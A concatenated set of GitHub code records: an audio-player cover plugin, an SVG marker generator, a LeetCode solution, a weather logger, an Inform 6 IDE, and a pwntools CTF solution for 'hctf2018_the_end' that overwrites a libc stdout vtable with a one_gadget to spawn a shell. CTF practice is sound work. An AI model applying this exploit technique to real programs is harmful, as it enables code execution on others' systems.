     \"\"\"\n        return path.join(self.cover_directory, self.cover_filename)\n\n    @property\n    def cover(self):\n        \"\"\"\n        Method to get cover file from cover provider for a specific song.\n\n        Should always return a file-like object opened as read-only if any\n        and None otherwise.\n        \"\"\"\n        cp = self.cover_path\n        try:\n            return open(cp, \"rb\") if cp and path.isfile(cp) else None\n        except IOError:\n            print_w('Failed reading album art \"{}\"'.format(path))\n\n    def search(self):\n        \"\"\"\n        Start searching for cover art from a source.\n\n        After search is completed the `search-complete` event must be emitted\n        regardless of search outcome with a list of dictionaries containing\n        `album`, `artist` and `cover` keys as an argument. If search was\n        unsuccessful, empty list should be returned.\n\n        By convention better quality and more accurate covers are expected to\n        appear first in the list.\n        \"\"\"\n        self.emit(\"search-complete\", [])\n\n    def fetch_cover(self):\n        \"\"\"\n        Method to ask source fetch the cover from its source into location at\n        `self.cover_path`.\n\n        If this method succeeds in putting the image from its source into\n        `self.cover_path`, `fetch-success` signal shall be emitted and\n        `fetch-failure` otherwise.\n\n        Return value of this function doesn't have any meaning whatsoever.\n        \"\"\"\n        self.fail(\"This source is incapable of fetching covers\")\n\n    def fail(self, message):\n        \"\"\"\n        Shorthand method for emitting `fetch-failure` signals.\n\n        Most common use pattern would be:\n            return self.fail(\"Failure message\")\n        \"\"\"\n        self.emit(\"fetch-failure\", message)\n\n\ncover_dir = path.join(get_cache_dir(), \"covers\")\n\ntry:\n    makedirs(cover_dir)\nexcept OSError:\n    pass\n","repo_name":"quodlibet/quodlibet","sub_path":"quodlibet/plugins/cover.py","file_name":"cover.py","file_ext":"py","file_size_in_byte":5911,"program_lang":"python","lang":"en","doc_type":"code","stars":1306,"dataset":"github-code","pt":"21"}
+{"seq_id":"18849763823","text":"\"\"\"\nGenaration of stretching markers\n\nN.B.: make sure you print without scaling!\n\nInkscape is recommended for printing\nhttps://inkscape.org/en/\n\nAuthor: Ruslan Guseinov\n\"\"\"\n\n## Options #################################################\n\n# List of stretching device diameters to output, mm\ndiameters = [200, 400, 500]\n\n# Uniform stretching factor of membrane\nstretch_factor = 3\n\n# Output paper format (A4/A3/none)\npaper = 'A4'\n\n############################################################\n\n\nimport numpy as np\n\n# Generate star\n\npt = np.empty([16, 2])\nfor i in range(16):\n    alpha = np.pi / 16 + 2 * np.pi * i / 16\n    pt[i] = np.array([np.cos(alpha), np.sin(alpha)])\n\n# Output to SVG file\n\nif paper == 'A4':\n    frameX = 210\n    frameY = 297\nelif paper == 'A3':\n    frameX = 297\n    frameY = 420\nelse:\n    frameX = frameY = max(diameters) / stretch_factor + 10\ncnt = [frameX / 2, frameY / 2]\n\nofile = open('stretch_markers.svg', 'w')\n\nofile.write('<?xml version=\"1.0\" encoding=\"utf-8\"?>')\nofile.write('<svg ')\nofile.write('xmlns:svg=\"http://www.w3.org/2000/svg\" ')\nofile.write('xmlns=\"http://www.w3.org/2000/svg\" ')\nofile.write('version=\"1.1\" ')\nofile.write('width=\"' + str(frameX) + 'mm\" ')\nofile.write('height=\"' + str(frameY) + 'mm\" ')\nofile.write('viewBox=\"0 0 ' + str(frameX) + ' ' + str(frameY) + '\">\\n')\nofile.write('<style type=\"text/css\">\\n')\nofile.write('\t.st0{fill:#FFFFFF;stroke:#000000;stroke-miterlimit:10;}\\n')\nofile.write('</style>\\n')\n\nofile.write('<g transform=\"translate(' + \",\".join(str(a) for a in cnt) + ')\">\\n')\n\nfor diam in diameters[::-1]:\n    radius = diam * 0.5 / stretch_factor\n    ptscaled = pt * radius\n    pts = \" \".join([\",\".join([str(a) for a in b]) for b in ptscaled])\n    ofile.write('<polygon class=\"st0\" stroke-width=\"0.3\" points=\"' + pts + '\"/>\"\\n')\n    ofile.write('<text x=\"0\" y=\"-' + str(radius) + '\" font-size=\"2\" text-anchor=\"middle\" fill=\"black\">' + str(diam) + 'mm</text>\\n')\n    for p in ptscaled:\n        ofile.write('<circle cx=\"' + str(p[0]) + '\" cy=\"' + str(p[1]) + '\" r=\"0.5\" />\\n')\n\nofile.write('</g>\\n')\n\nofile.write(\"</svg>\\n\")\nofile.close()\n","repo_name":"russelmann/temporal-morphing-ncomms","sub_path":"extra/fabrication/gen_stretch_markers.py","file_name":"gen_stretch_markers.py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"}
+{"seq_id":"29494602326","text":"class Solution:\n    def minSubArrayLen(self, target: int, nums: List[int]) -> int:\n        j,res=0,len(nums)+1\n        for i in range(len(nums)):\n            target-=nums[i]\n            while target<=0:\n                res=min(i-j+1,res)\n                target+=nums[j]\n                j+=1\n        return res%(len(nums)+1)","repo_name":"shivang257/LeetCode-Daily-Practice-Problem-Solutions","sub_path":"0209-minimum-size-subarray-sum/0209-minimum-size-subarray-sum.py","file_name":"0209-minimum-size-subarray-sum.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"21"}
+{"seq_id":"23760517954","text":"#!/usr/bin/env python\n\nfrom os import getenv\n\nfrom app import create_app\n\n\nPORT = getenv('PORT') or '8080'\nDEBUG = getenv('DEBUG')\nDEV = getenv('DEV')\n\napp = create_app()\n\napp.run(host='127.0.0.1', port=int(PORT), debug=bool(DEBUG))\n","repo_name":"SamusDMC/pitagoric","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"34448291526","text":"\"\"\"Implements data logging functionality for the weather station\n\nSince we use basic logging config for runtime logging, we're only using\nthis component to provide JSON data logging for the actual weather data.\n\"\"\"\nimport datetime as dt\nimport json\nimport logging\n\nclass WeatherLogger:\n    \"\"\"Implements a JSON logger for weather data\"\"\"\n    def __init__(self, path):\n        self.log_path = path\n        try:\n            with open(self.log_path) as log_file:\n                self.log_data = json.load(log_file)\n            logging.debug('Weather log file loaded successfully')\n        except FileNotFoundError:\n            self.log_data = []\n            self.write_log()\n            logging.debug('New weather log created at %s', self.log_path)\n\n    @property\n    def last_record(self):\n        \"\"\"Return the last data record in the log data\"\"\"\n        if len(self.log_data) > 0:\n            return self.log_data[-1]\n\n        # If we don't have a record, return a null record with min datetime\n        return {\n            'time': dt.datetime.min.isoformat(),\n            'temp': None,\n            'humidity': None\n        }\n\n    def append(self, temp, humidity, interval):\n        \"\"\"Append a record to the weather log\n\n        This function ensures that a minimum of one half-hour elapses\n        between data points, to eliminate light-sensor induced dithering\n        during dawn and dusk periods (or, more accurately, to compensate\n        for the tendency of my indoor lighting to magically nail the\n        threshold, no matter where I set it...)\n        \"\"\"\n        current_time = dt.datetime.now(dt.timezone.utc)\n        last_time = dt.datetime.fromisoformat(self.last_record['time'])\n        delta_t = current_time - last_time\n\n        # Only append if the specified interval has passed since last data point\n        if delta_t.total_seconds() >= interval:\n            self.log_data.append(\n                {\n                    'time': current_time.isoformat(),\n                    'temp': temp,\n                    'humidity': humidity\n                }\n            )\n            self.write_log()\n            return True\n        return False\n\n    def write_log(self):\n        \"\"\"Write the log to the specified file\"\"\"\n        with open(self.log_path, 'w') as log_file:\n            json.dump(self.log_data, log_file, indent=4)\n","repo_name":"seangllghr/portfolio-wetspec","sub_path":"weatherstation/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":2339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"32377134028","text":"from pwn import *\r\n\r\ncontext(log_level='debug')\r\n\r\nio=process(\"./the_end\")\r\n\r\nlibc=ELF(\"./libc-2.27.so\")\r\n\r\nio.recvuntil(b'gift ')\r\n\r\nsleep=int(io.recvuntil(b',',drop=True),16)\r\n\r\nprint(hex(sleep))\r\n\r\none_gadget=[0x4f2c5,0x4f322,0x10a38c]\r\n\r\nIO_file_jumps=0x3EC838\r\n\r\nfake_io_jump=0x3EC7A0\r\n\r\nremote_addr=fake_io_jump+0x58\r\n\r\nlibc_base=sleep-libc.symbols['sleep']\r\n\r\nstdout_vtable=IO_file_jumps+libc_base\r\n\r\nFake=fake_io_jump+libc_base\r\n\r\nRemote=remote_addr+libc_base\r\n\r\none=one_gadget[0]+libc_base\r\n\r\n#修改两字节\r\n\r\n#payload=p64(stdout_vtable)+p64(Fake)[0]+p64(stdout_vtable+1)+p64(Fake)[1]\r\n\r\nfor i in range(2):\r\n\tio.send(p64(stdout_vtable+i))\r\n\tio.send(str(p64(Fake)[i]))\r\n\r\n#修改三字节\r\n\r\n#payload+=p64(Remote)+p64(one)[0]+p64(Remote+1)+p64(one)[1]+p64(Remote+2)+p64(one)[2]\r\n\r\nfor i in range(3):\r\n\tio.send(p64(Remote+i))\r\n\tio.send(str(p64(one)[i]))\r\n\r\n#io.send(payload)\r\n#io=remote()\r\nio.sendline(\"exec /bin/sh 1>&0\")\r\n\r\nio.interactive()","repo_name":"stareforever/pwn_buuctf","sub_path":"buuoj_writeup/pwn/hctf2018_the_end/me.py","file_name":"me.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"35508700218","text":"import os\nimport sys\nimport argparse\n\nfrom PyQt5.QtCore import Qt, QTranslator, QSettings, QLocale, QSize\nfrom PyQt5.QtCore import QLibraryInfo\nfrom PyQt5.QtGui import QIcon, QKeySequence, QFont\nfrom PyQt5.QtWidgets import QMainWindow, QFileDialog, QApplication, QTabWidget\nfrom PyQt5.QtWidgets import QTextEdit, QSplitter, QMessageBox, QInputDialog\n\nfrom .dirtreeview import DirTreeView\nfrom .sourcectl import SourceCtl\nfrom .compiler import Compiler\nfrom .project import Project, NewProjectWizard, CompilerOptionsWizard\nfrom .interpreter import TerpDialog\nfrom . import rc, version\n\n# Once we import the resources module, we don't need it polluting the namespace\ndel rc\n\n# These strings are used when saving and retrieving settings.\norg_name = 'mrloam'\napp_name = 'Informatic'\n\nclass MainWin (QMainWindow):\n    def checkUnsavedSourceFiles(self):\n        \"\"\"\n        Returns True if any open source file has unsaved content;\n        otherwise, returns False.\n        \"\"\"\n        filesUnsaved = False\n        for index in range(0, self.tabWidget.count()):\n            if not self.tabWidget.widget(index).saved:\n                filesUnsaved = True\n                break\n        return filesUnsaved\n    def chooseExistingFile(self):\n        \"\"\"\n        Presents the user with a file dialog to choose an existing\n        source file, then calls openSourceFile on the chosen filepath.\n        \"\"\"\n        filepath = QFileDialog.getOpenFileName(\n          filter=self.tr('Inform 6 source files (*.inf);;'\n          'Inform 6 libraries (*.h)'))[0]\n        if filepath:\n            self.openSourceFile(filepath)\n    def openSourceFile(self,  filepath):\n        \"\"\"\n        Takes one argument, filepath, and opens the source file at\n        filepath for editing if that source file is not already open.\n        Brings that source file's tab to the foreground whether or not\n        it was already open.\n        \"\"\"\n        \n        # Build a list of filepaths for all open source files\n        openFilepaths = []\n        for index in range(0, self.tabWidget.count()):\n            openFilepaths += [self.tabWidget.widget(index).filepath]\n        \n        # If the file isn't already open, open it\n        if not (filepath in openFilepaths):\n            sourceCtl = SourceCtl(mainWindow=self, filepath=filepath)\n            self.tabWidget.addTab(sourceCtl, os.path.basename(filepath))\n            openFilepaths += [filepath]\n        \n        # Bring the source file's tab to the foreground\n        self.tabWidget.setCurrentIndex(openFilepaths.index(filepath))\n        \n        # Enable file-related menu buttons, in case they were disabled by a\n        # lack of open source files\n        for button in (self.saveFileButton, self.saveFileAsButton,\n        self.closeButton, self.undoButton, self.redoButton,\n        self.gotoLineButton, self.saveAllFilesButton, self.cutButton,\n        self.copyButton, self.pasteButton, self.selectAllButton):\n            button.setEnabled(True)\n    def newSourceTab(self):\n        \"\"\"\n        Creates a new, empty source file tab with no associated\n        filepath.\n        \"\"\"\n        sourceCtl = SourceCtl(mainWindow=self)\n        self.tabWidget.addTab(sourceCtl, self.tr('Untitled'))\n        self.tabWidget.setCurrentWidget(sourceCtl)\n    def openProjectFile(self):\n        \"\"\"\n        Presents the user with a file dialog to choose an existing\n        Informatic project file, then runs displayProjectFile on the\n        chosen filepath.\n        \"\"\"\n        path = QFileDialog.getOpenFileName(\n        filter=self.tr('Informatic project files (*.informatic)'))[0]\n        if os.path.isfile(path):\n            self.displayProjectFile(path)\n    def saveSource(self, sourceCtl):\n        \"\"\"\n        Takes one argument, sourceCtl, a SourceCtl widget, and uses\n        writeSourceFile to save the widget contents to either the\n        associated filepath, or, if there isn't one, a filepath chosen\n        through getSaveFileName.\n        \"\"\"\n        if sourceCtl:\n            filepath = sourceCtl.filepath\n            if not filepath:\n                self.tabWidget.setCurrentWidget(sourceCtl)\n                filepath = self.getSaveFileName()\n            if self.writeSourceFile(filepath, sourceCtl):\n                sourceCtl.saved = True\n                sourceCtl.filepath = filepath\n                tabIndex = self.tabWidget.indexOf(sourceCtl)\n                self.tabWidget.setTabText(tabIndex, os.path.basename(filepath))\n    def saveCurrentSource(self):\n        \"\"\"\n        Calls saveSource on the active SourceCtl widget.\n        \"\"\"\n        self.saveSource(self.tabWidget.currentWidget())\n    def saveAllSources(self):\n        \"\"\"\n        Calls saveSource on every open SourceCtl widget with unsaved\n        content.\n        \"\"\"\n        for index in range(0, self.tabWidget.count()):\n            widget = self.tabWidget.widget(index)\n            if not widget.saved:\n                self.saveSource(self.tabWidget.widget(index))\n    def saveCurrentSourceAs(self):\n        \"\"\"\n        Calls getSaveFileName, then uses the returned filepath to save\n        the contents of the active source widget with writeSourceFile.\n        \"\"\"\n        sourceCtl = self.tabWidget.currentWidget()\n        filepath = self.getSaveFileName()\n        if self.writeSourceFile(filepath, sourceCtl):\n            sourceCtl.saved = True\n            sourceCtl.filepath = filepath\n            tabIndex = self.tabWidget.indexOf(sourceCtl)\n            self.tabWidget.setTabText(tabIndex, os.path.basename(filepath))\n            return True\n        else:\n            return False\n    def getSaveFileName(self):\n        \"\"\"\n        Opens a file dialog to select a save filename for an Inform 6\n        source file, then returns the selected filename.\n        \"\"\"\n        return QFileDialog.getSaveFileName(\n          filter=self.tr('Inform 6 source files (*.inf);;'\n          'Inform 6 libraries (*.h)'))[0]\n    def writeSourceFile(self, filepath, sourceCtl):\n        \"\"\"\n        Takes two arguments: filepath and sourceCtl, a SourceCtl widget.\n        Attempts to write the contents of the SourceCtl widget to a file\n        at filepath. Returns True if successful, returns False if\n        unsuccessful or if no filepath was provided.\n        \"\"\"\n        if filepath:\n            try:\n                with open(filepath, 'w') as file:\n                    file.write(sourceCtl.text())\n            except:\n                return False\n        else:\n            return False\n        return True\n    def undo(self):\n        \"\"\"\n        Runs the undo method of the currently active SourceCtl widget,\n        if one is currently active.\n        \"\"\"\n        if self.tabWidget.count() > 0:\n            self.tabWidget.currentWidget().undo()\n    def redo(self):\n        \"\"\"\n        Runs the redo method of the currently active SourceCtl widget,\n        if one is currently active.\n        \"\"\"\n        if self.tabWidget.count() > 0:\n            self.tabWidget.currentWidget().redo()\n    def cut(self):\n        \"\"\"\n        Runs the cut method of the currently active SourceCtl widget.\n        \"\"\"\n        self.tabWidget.currentWidget().cut()\n    def copy(self):\n        \"\"\"\n        Runs the copy method of the currently active SourceCtl widget.\n        \"\"\"\n        self.tabWidget.currentWidget().copy()\n    def paste(self):\n        \"\"\"\n        Runs the paste method of the currently active SourceCtl widget.\n        \"\"\"\n        self.tabWidget.currentWidget().paste()\n    def selectAll(self):\n        \"\"\"\n        Uses the selectAll method of the currently active SourceCtl\n        widget to select all the text it contains.\n        \"\"\"\n        self.tabWidget.currentWidget().selectAll()\n    def gotoLine(self):\n        \"\"\"\n        Prompts the user for a line number, then makes the corresponding\n        line of the active SourceCtl widget visible.\n        \"\"\"\n        sourceCtl = self.tabWidget.currentWidget()\n        lineNumber = QInputDialog.getInt(self, self.tr('Goto line'), \n         self.tr('Line number:'), value=0, min=1, max=sourceCtl.lines())[0]\n          \n        # Goto line will only continue if the user entered a valid line number.\n        if lineNumber:\n            sourceCtl.ensureLineVisible(lineNumber)\n    def findFirst(self):\n        \"\"\"\n        Prompts the user to input text via a dialog, then searches the\n        text of the active SourceCtl widget for that text.\n        \"\"\"\n        searchText, ok = QInputDialog.getText(self, self.tr('Find'),\n          self.tr('Search text:'))\n        if ok:\n            self.tabWidget.currentWidget().findFirst(\n              searchText, False, False, False, True)\n    def findNext(self):\n        \"\"\"\n        Runs the findNext method of the active SourceCtl widget.\n        \"\"\"\n        self.tabWidget.currentWidget().findNext()\n    def closeTab(self, index):\n        \"\"\"\n        Takes one argument, index, the index of a widget displayed in\n        the main window's tab widget. Attempts to close the tab\n        indicated by the index and destroy the associated widget, first\n        warning the user if the widget contains unsaved content. Returns\n        True if the tab was successfully closed, returns False\n        otherwise.\n        \"\"\"\n        sourceCtl = self.tabWidget.widget(index)\n        if not sourceCtl.saved:\n            choice = QMessageBox.question(self, self.tr('Unsaved source file'),\n            self.tr('The source file you are attempting to close has unsaved '\n            'changes. Close without saving?'))\n            if choice != QMessageBox.Yes:\n                return False\n        self.tabWidget.removeTab(index)\n        sourceCtl.destroy()\n        \n        # Disable file-related buttons if there are no source tabs open.\n        if self.tabWidget.count() < 1:\n            for button in (self.saveFileButton, self.saveFileAsButton,\n            self.closeButton, self.undoButton, self.redoButton,\n            self.gotoLineButton, self.saveAllFilesButton, self.cutButton,\n            self.copyButton, self.pasteButton, self.selectAllButton):\n                button.setEnabled(False)\n        return True\n    def closeCurrentTab(self):\n        \"\"\"\n        Calls closeTab on the currently open tab of the tab widget.\n        \"\"\"\n        self.closeTab(self.tabWidget.currentIndex())\n    def selectSourceFiles(self, indexes):\n        for index in indexes:\n            if not self.treeView.dirTree.isDir(index):\n                filepath = self.treeView.dirTree.filePath(index)\n                self.openSourceFile(filepath)\n    def createNewProject(self):\n        \"\"\"\n        Launches the new project wizard to create a new Informatic\n        project.\n        \"\"\"\n        project = Project()\n        NewProjectWizard(parent = self, project = project).exec()\n    def displayProjectFile(self, projectFilePath):\n        \"\"\"\n        Takes one argument, projectFilePath, a path to an Informatic\n        project file. Attempts to load a project from the file and\n        display the project.\n        \"\"\"\n        self.currentProject = Project(projectFilePath=projectFilePath)\n        projectFileDir = os.path.dirname(projectFilePath)\n        \n        # Attempt to load the project file\n        try:\n            with open(projectFilePath, 'r') as projectFile:\n                self.currentProject.load(projectFile)\n        except Exception as err:\n            # If an error occurs while loading the project file, display an\n            # error dialog.\n            self.currentProject = Project()\n            QMessageBox.critical(self, self.tr('Project file error'),\n            self.tr('Informatic encountered an error while opening project '\n            'file ') + projectFilePath + ':\\n\\n' + str(err))\n        else:\n            self.currentProject.projectFilePath = projectFilePath\n            \n            # Attempt to close all source files already open...Hugo Labrande.\n            index = 0\n            while self.tabWidget.count() > index:\n                sourceCtl = self.tabWidget.widget(index)\n                #...but don't do it if the source file has unsaved changes.\n                if sourceCtl.saved:\n                    self.tabWidget.removeTab(index)\n                    sourceCtl.destroy()\n                else:\n                    index += 1\n            \n            # Set the source directory viewer widget to display the project's\n            # source directory\n            self.treeView.cd(self.currentProject.absSourceDir())\n            \n            # Open the main source file\n            relPath = self.currentProject.mainSourcePath\n            absPath = os.path.normpath(os.path.join(projectFileDir, relPath))\n            self.openSourceFile(absPath)\n            \n            # Enable project menu buttons\n            self.compilerOptionsButton.setEnabled(True)\n            self.compileButton.setEnabled(True)\n            self.runButton.setEnabled(True)\n    def editCompilerOptions(self):\n        \"\"\"\n        Launches a dialog for the user to set Inform 6 compiler options.\n        \"\"\"\n        CompilerOptionsWizard(self.currentProject, parent=self).exec()\n    def compileProject(self):\n        \"\"\"\n        Calls saveAllSources, then spawns a new thread to run the Inform\n        6 compiler using the current project's compiler options.\n        \"\"\"\n        self.saveAllSources()\n        self.compilerEdit.setText('')\n        compiler = Compiler(self, project=self.currentProject)\n        compiler.done.connect(self.showCompilerOutput)\n        compiler.finished.connect(compiler.deleteLater)\n        compiler.start()\n    def showCompilerOutput(self, results):\n        self.compilerEdit.setText(results)\n    def showTerpDialog(self):\n        TerpDialog(self).show()\n    def showAbout(self):\n        \"\"\"\n        Launches the \"About\" dialog with information about Informatic.\n        \"\"\"\n        QMessageBox.about(self,\n        self.tr('About Informatic'),\n        '<h3>Informatic ' + version + '</h3>' +\n        '<p>Copyright © 2015-2017 Dominic Delabruere '\n        '&lt;<a href=\"mailto:dominic.delabruere@gmail.com\">'\n        'dominic.delabruere@gmail.com</a>&gt;</p>'\n        '<p>'\n        + self.tr('Informatic is an Inform 6 IDE written by Dominic Delabruere'\n        ' for Python 3 using PyQt5.') + '</p>'\n        '<p>' + self.tr('French translation by Hugo Labrande. '\n        'Spanish translation by Fernando Gegoire.') + '</p>'\n        '<p>' + self.tr('Informatic can be used and distributed under the '\n        'terms of the GNU General Public License, either version 3 of the '\n        'License, or (at your option) any later version.') + '</p>')\n    def showAboutQt(self):\n        \"\"\"\n        Launches the \"About Qt\" informational dialog.\n        \"\"\"\n        QMessageBox.aboutQt(self)\n    def closeEvent(self, event):\n        \"\"\"\n        Runs whenever the user attempts to close the main window. Warns\n        the user if there are unsaved open source files. If the user\n        chooses to ignore the warning or no warning is displayed, saves\n        the main window's settings, then allows it to close.\n        \"\"\"\n        if self.checkUnsavedSourceFiles():\n            choice = QMessageBox.question(self,\n              self.tr('Unsaved source files'), \n              self.tr('You have unsaved source files. Quit anyway?'))\n            if choice != QMessageBox.Yes:\n                return event.ignore()\n        settings = QSettings(org_name, app_name)\n        settings.setValue('MainWin/size', self.size())\n        settings.setValue('projectFilePath',\n        self.currentProject.projectFilePath)\n        return event.accept()\n    def parseArguments(self):\n        parser = argparse.ArgumentParser()\n        parser.add_argument('project',\n          help=self.tr('project file path'), nargs='?', default='')\n        args = parser.parse_args()\n        if args.project:\n            self.displayProjectFile(args.project)\n    def __init__(self, parent=None):\n        \"\"\"\n        Passes the argument parent to the QMainWindow constructor.\n        \"\"\"\n        super().__init__(parent)\n        \n        self.setWindowTitle('Informatic')\n        self.setWindowIcon(QIcon(':/informatic.png'))\n        \n        # The code to create the Main Menu and connect its buttons to\n        # appropriate functions begins here.\n        fileMenu = self.menuBar().addMenu(self.tr('&File'))\n        \n        newFileButton = fileMenu.addAction(self.tr('&New'))\n        newFileButton.triggered.connect(self.newSourceTab)\n        newFileButton.setShortcut(QKeySequence.New)\n        \n        openButton = fileMenu.addAction(self.tr('&Open...'))\n        openButton.triggered.connect(self.chooseExistingFile)\n        openButton.setShortcut(QKeySequence.Open)\n        \n        fileMenu.addSeparator()\n        \n        self.saveFileButton = fileMenu.addAction(self.tr('&Save'))\n        self.saveFileButton.setShortcut(QKeySequence.Save)\n        self.saveFileButton.triggered.connect(self.saveCurrentSource)\n        \n        self.saveFileAsButton = fileMenu.addAction(self.tr('Save &as...'))\n        self.saveFileAsButton.triggered.connect(self.saveCurrentSourceAs)\n        self.saveFileAsButton.setShortcut(QKeySequence.SaveAs)\n        \n        self.saveAllFilesButton = fileMenu.addAction(self.tr('Save a&ll'))\n        self.saveAllFilesButton.triggered.connect(self.saveAllSources)\n        \n        fileMenu.addSeparator()\n        \n        self.closeButton = fileMenu.addAction(self.tr('&Close'))\n        self.closeButton.setShortcut(QKeySequence.Close)\n        self.closeButton.triggered.connect(self.closeCurrentTab)\n        \n        quitButton = fileMenu.addAction(self.tr('&Quit'))\n        quitButton.setShortcut(QKeySequence.Quit)\n        quitButton.triggered.connect(self.close)\n        \n        editMenu = self.menuBar().addMenu(self.tr('&Edit'))\n        \n        self.undoButton = editMenu.addAction(self.tr('&Undo'))\n        self.undoButton.setShortcut(QKeySequence.Undo)\n        self.undoButton.triggered.connect(self.undo)\n        \n        self.redoButton = editMenu.addAction(self.tr('&Redo'))\n        self.redoButton.setShortcut(QKeySequence.Redo)\n        self.redoButton.triggered.connect(self.redo)\n        \n        editMenu.addSeparator()\n        \n        self.cutButton = editMenu.addAction(self.tr('Cu&t'))\n        self.cutButton.setShortcut(QKeySequence.Cut)\n        self.cutButton.triggered.connect(self.cut)\n        \n        self.copyButton = editMenu.addAction(self.tr('&Copy'))\n        self.copyButton.setShortcut(QKeySequence.Copy)\n        self.copyButton.triggered.connect(self.copy)\n        \n        self.pasteButton = editMenu.addAction(self.tr('&Paste'))\n        self.pasteButton.setShortcut(QKeySequence.Paste)\n        self.pasteButton.triggered.connect(self.paste)\n        \n        editMenu.addSeparator()\n        \n        self.selectAllButton = editMenu.addAction(self.tr('Select &all'))\n        self.selectAllButton.setShortcut(QKeySequence.SelectAll)\n        self.selectAllButton.triggered.connect(self.selectAll)\n        \n        self.findButton = editMenu.addAction(self.tr('&Find...'))\n        self.findButton.setShortcut(QKeySequence.Find)\n        self.findButton.triggered.connect(self.findFirst)\n        \n        self.findButton = editMenu.addAction(self.tr('Find &next'))\n        self.findButton.setShortcut(QKeySequence.FindNext)\n        self.findButton.triggered.connect(self.findNext)\n        \n        # If I implement a \"Find previous\" function, its button will go here:\n        # self.findButton = editMenu.addAction(self.tr('Find pr&evious'))\n        # self.findButton.setShortcuts(QKeySequence.FindPrevious)\n        # self.findButton.triggered.connect(self.findPrevious)\n        \n        self.gotoLineButton = editMenu.addAction(self.tr('&Goto line...'))\n        self.gotoLineButton.triggered.connect(self.gotoLine)\n        \n        # A \"preferences\" button will eventually go here:\n        # prefsButton = editMenu.addAction(self.tr('&Preferences...'))\n        # prefsButton.setShortcut(QKeySequence.Preferences)\n        \n        projectMenu = self.menuBar().addMenu(self.tr('&Project'))\n        \n        newProjectButton = projectMenu.addAction(self.tr('&New...'))\n        newProjectButton.triggered.connect(self.createNewProject)\n        \n        openProjectButton = projectMenu.addAction(self.tr('&Open...'))\n        openProjectButton.triggered.connect(self.openProjectFile)\n        \n        projectMenu.addSeparator()\n        \n        self.compilerOptionsButton = projectMenu.addAction(\n          self.tr('Co&mpiler options...'))\n        self.compilerOptionsButton.triggered.connect(self.editCompilerOptions)\n        self.compilerOptionsButton.setEnabled(False)\n        \n        self.compileButton = projectMenu.addAction(self.tr('&Compile'))\n        self.compileButton.triggered.connect(self.compileProject)\n        self.compileButton.setShortcut(Qt.ShiftModifier + Qt.Key_F9)\n        self.compileButton.setEnabled(False)\n        \n        self.runButton = projectMenu.addAction(self.tr('&Run...'))\n        self.runButton.triggered.connect(self.showTerpDialog)\n        self.runButton.setShortcut(Qt.ShiftModifier + Qt.Key_F5)\n        self.runButton.setEnabled(False)\n        \n        helpMenu = self.menuBar().addMenu(self.tr('&Help'))\n        \n        aboutButton = helpMenu.addAction(self.tr('&About Informatic'))\n        aboutButton.triggered.connect(self.showAbout)\n        \n        aboutQtButton = helpMenu.addAction(self.tr('About &Qt'))\n        aboutQtButton.triggered.connect(self.showAboutQt)\n        \n        # Code to create the main window's primary widgets begins here.\n        self.treeView = DirTreeView(\n            rootdir=os.getcwd()) # Widget for showing file hierarchies\n        self.treeView.newSelection.connect(self.selectSourceFiles)\n\n        self.tabWidget = QTabWidget()\n        self.tabWidget.setDocumentMode(True)\n        self.tabWidget.setTabsClosable(True)\n        self.tabWidget.tabCloseRequested.connect(self.closeTab)\n        \n        self.newSourceTab()\n        \n        self.compilerEdit = QTextEdit()\n        self.compilerEdit.setReadOnly(True)\n        compilerFont = QFont()\n        compilerFont.setStyleHint(QFont.Monospace, QFont.PreferDefault)\n        compilerFont.setFixedPitch(True)\n        compilerFont.setFamily('Courier')\n        self.compilerEdit.setCurrentFont(compilerFont)\n        \n        self.hSplitter = QSplitter(Qt.Horizontal)\n        self.hSplitter.addWidget(self.treeView)\n        self.hSplitter.addWidget(self.tabWidget)\n        self.hSplitter.setStretchFactor(0, 0)\n        self.hSplitter.setStretchFactor(1, 1)\n        \n        self.vSplitter = QSplitter(Qt.Vertical)\n        self.vSplitter.addWidget(self.hSplitter)\n        self.vSplitter.addWidget(self.compilerEdit)\n        self.vSplitter.setStretchFactor(0, 1)\n        self.vSplitter.setStretchFactor(1, 0)\n        self.setCentralWidget(self.vSplitter)\n        \n        # Retrieve main window settings if any were saved previously\n        settings = QSettings(org_name, app_name)\n        size = settings.value('MainWin/size', QSize(800, 600))\n        self.resize(size)\n        projectFilePath = settings.value('projectFilePath', None)\n        \n        # Open the project file at the path saved by the last closed main\n        # window instance, if any.\n        if projectFilePath:\n            self.displayProjectFile(projectFilePath)\n        else:\n            self.currentProject = Project(projectFilePath=projectFilePath)\n\ndef main():\n    \"\"\"\n    Provides the main entry point for Informatic. Starts a new\n    application and opens the main window, then waits for these to\n    close.\n    \"\"\"\n    app = QApplication(sys.argv)\n    app.lastWindowClosed.connect(app.quit)\n    \n    # Uncomment and edit the following line to set the locale on application\n    # startup. This may be useful for testing translations.\n    # QLocale.setDefault(QLocale(QLocale.Spanish))\n    \n    # Use translations for Informatic's phrases, if available\n    informaticTranslator = QTranslator()\n    if informaticTranslator.load(QLocale(), 'informatic', '_', ':', '.qm'):\n      app.installTranslator(informaticTranslator)\n    \n    # If there is a directory in the executable path called 'qt_translations',\n    # as there may be for a \"frozen\" Informatic executable manually bundled\n    # with Qt translations files, we will look for the translations files\n    # there. Otherwise, we will attempt to load them from the standard Qt\n    # translations directory.\n    qtTranslationsDir = os.path.dirname(sys.executable)\n    qtTranslationsDir = os.path.join(qtTranslationsDir, 'qt_translations')\n    if not os.path.isdir(qtTranslationsDir):\n        qtTranslationsDir = QLibraryInfo.location(\n          QLibraryInfo.TranslationsPath)\n    \n    # Use translations for Qt built-in phrases\n    qtTranslator = QTranslator()\n    if qtTranslator.load(QLocale(), 'qt', '_', qtTranslationsDir, '.qm'):\n      app.installTranslator(qtTranslator)\n    \n    main = MainWin()\n    main.show()\n    main.parseArguments()\n    